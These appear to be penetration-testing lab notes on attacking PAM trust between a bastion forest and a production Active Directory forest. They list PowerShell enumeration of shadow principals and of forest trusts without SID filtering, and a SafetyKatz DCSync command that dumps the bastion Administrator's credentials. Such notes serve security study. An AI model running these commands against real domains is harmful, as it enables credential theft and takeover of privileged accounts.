• PAM trust is usually enabled between a Bastion or Red forest and a production/user forest which it manages.
• PAM trust provides the ability to access the production forest with high privileges without using credentials of the bastion forest. Thus, better security for the bastion forest which is much desired.
• To achieve the above, Shadow Principals are created in the bastion domain which are then mapped to DA or EA groups SIDs in the production forest.

Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"} -Server bastion.local

Get-ADGroup -Filter * -Properties Member -Server bastion.local | ?{$_.Member -match 'S-1-5-21-2781415573-3701854478-2406986946-500'}

Get-ADTrust -Filter {(ForestTransitive - eq $True) -and (SIDFilteringQuarantined -eq $False)}

C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:bastion\Administrator /domain:bastion.local" "exit"

Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)} -Server production.local